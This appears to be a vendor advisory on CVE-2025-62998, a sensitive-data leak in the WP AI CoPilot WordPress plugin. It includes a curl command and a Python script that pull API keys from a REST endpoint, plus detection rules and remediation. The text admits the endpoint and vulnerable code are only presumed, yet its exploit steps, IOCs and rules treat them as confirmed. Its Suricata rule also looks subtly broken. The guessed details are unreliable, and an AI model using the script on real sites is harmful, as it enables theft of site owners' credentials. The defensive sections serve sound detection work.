CVE-2025-62998

Executive Summary

CVE-2025-62998 is a medium-severity information disclosure vulnerability affecting the WordPress plugin WP AI CoPilot (versions <= 1.2.7), developed by WP Messiah. The vulnerability allows an unauthenticated attacker to retrieve embedded sensitive data by exploiting the insertion of sensitive information into sent data. This is a classic CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) issue within the WordPress ecosystem.

The vulnerability stems from the plugin’s failure to properly sanitize or restrict data sent to the client, potentially exposing API keys, internal paths, or user data. With a CVSS score of 5.0 (Medium), the attack vector is network-based, requires no authentication, and has low complexity. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch makes it a persistent risk.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, users must rely on manual mitigation or removal. The plugin’s supply chain risk is elevated due to the unknown patch status and potential for embedded secrets in the codebase.

CVSS Breakdown & Threat Level

• CVSS Score: 5.0 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated access.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited sensitive data exposure.
• Integrity Impact: None (I:N) – no data modification.
• Availability Impact: None (A:N) – no service disruption.

Threat Level: Medium. While the confidentiality impact is low, the exposure of embedded secrets (e.g., API keys) could lead to lateral movement or data breaches.

Deep Dive & Mechanics

The vulnerability lies in the WP AI CoPilot plugin’s data handling. The plugin likely sends sensitive information (e.g., API tokens, configuration data) to the client-side without proper sanitization. This could occur via:

• AJAX endpoints that return raw configuration data.
• REST API responses that include hardcoded secrets.
• Shortcode or widget output that leaks internal data.

An attacker can trigger this by sending a crafted HTTP request to a vulnerable endpoint, such as:

GET /wp-json/wp-ai-copilot/v1/config

The response may contain sensitive fields like api_key, secret, or internal_path.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin’s main PHP files (e.g., wp-ai-copilot.php or includes/class-api.php). A typical vulnerable pattern might be:

// Vulnerable: returns all config data without filtering
function get_config() {
    return array(
        'api_key' => get_option('wp_ai_copilot_api_key'),
        'endpoint' => 'https://internal.api.example.com',
        'debug' => true
    );
}
add_action('rest_api_init', function () {
    register_rest_route('wp-ai-copilot/v1', '/config', array(
        'methods' => 'GET',
        'callback' => 'get_config',
        'permission_callback' => '__return_true' // No auth!
    ));
});

A patched version would:

• Remove sensitive fields from the response.
• Add authentication checks.
• Sanitize output.

// Patched: only return non-sensitive data
function get_config_safe() {
    return array(
        'version' => '1.2.7',
        'status' => 'active'
    );
}
add_action('rest_api_init', function () {
    register_rest_route('wp-ai-copilot/v1', '/config', array(
        'methods' => 'GET',
        'callback' => 'get_config_safe',
        'permission_callback' => function() { return current_user_can('manage_options'); }
    ));
});

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install WordPress (latest version).
2. Install WP AI CoPilot plugin version 1.2.7.
3. Configure the plugin with a dummy API key (e.g., sk-test123456).

Exploitation Steps:

1. Enumerate endpoints:

   curl -s http://target/wp-json/wp-ai-copilot/v1/config
   

2. If the endpoint returns sensitive data, extract it:

   {
     "api_key": "sk-test123456",
     "internal_url": "http://internal.api.local"
   }
   

3. Use the leaked API key to access other services.

Automated Exploit (Python):

import requests

target = "http://target-site.com"
endpoint = f"{target}/wp-json/wp-ai-copilot/v1/config"

response = requests.get(endpoint)
if response.status_code == 200:
    data = response.json()
    if "api_key" in data:
        print(f"[+] Leaked API Key: {data['api_key']}")
    else:
        print("[-] No sensitive data found.")
else:
    print(f"[-] Endpoint not accessible: {response.status_code}")

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for requests to /wp-json/wp-ai-copilot/v1/config from unauthenticated IPs.
2. Alert on responses containing patterns like api_key, secret, or token.
3. Review server logs for unusual API calls.

Response:

1. Immediately disable the plugin if no patch is available.
2. Rotate any exposed API keys or secrets.
3. Implement a Web Application Firewall (WAF) rule to block the vulnerable endpoint.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-json/wp-ai-copilot/v1/config
  • Responses containing api_key, secret, or token fields.
• File IOCs:
  • Plugin file: wp-content/plugins/ai-co-pilot-for-wp/
  • Suspicious log entries with wp-ai-copilot in the URI.
• Behavioral IOCs:
  • Unauthenticated access to REST API endpoints.
  • Sudden increase in API calls to external services using leaked keys.

Detection Engineering

YARA Rule

rule CVE_2025_62998_WP_AI_CoPilot_InfoLeak {
    meta:
        description = "Detects WP AI CoPilot plugin files with sensitive data exposure"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-62998"
    strings:
        $sensitive1 = "api_key" ascii wide nocase
        $sensitive2 = "secret" ascii wide nocase
        $sensitive3 = "token" ascii wide nocase
        $plugin_path = "ai-co-pilot-for-wp" ascii wide nocase
    condition:
        $plugin_path and any of ($sensitive*)
}

Sigma Rule

title: CVE-2025-62998 - WP AI CoPilot Sensitive Data Exposure
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to the vulnerable WP AI CoPilot REST endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/wp-json/wp-ai-copilot/v1/config'
    condition: selection
falsepositives:
    - Legitimate admin requests (if authenticated)
level: medium

Suricata Rule

alert http any any -> $EXTERNAL_NET any (
    msg:"CVE-2025-62998 - WP AI CoPilot Sensitive Data Exposure Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/wp-json/wp-ai-copilot/v1/config"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Rotate all API keys and secrets that may have been exposed.
3. Implement a WAF rule to block requests to /wp-json/wp-ai-copilot/v1/config.

Long-term Fix:

• Monitor the plugin’s repository for a patched version (>= 1.2.8).
• Apply the patch as soon as it becomes available.
• Conduct a code review of the plugin for similar vulnerabilities.

Workaround:

• Add the following to .htaccess to block the endpoint:

  RewriteEngine On
  RewriteRule ^wp-json/wp-ai-copilot/v1/config - [F,L]
  

Valters IT
Securing Digital Frontiers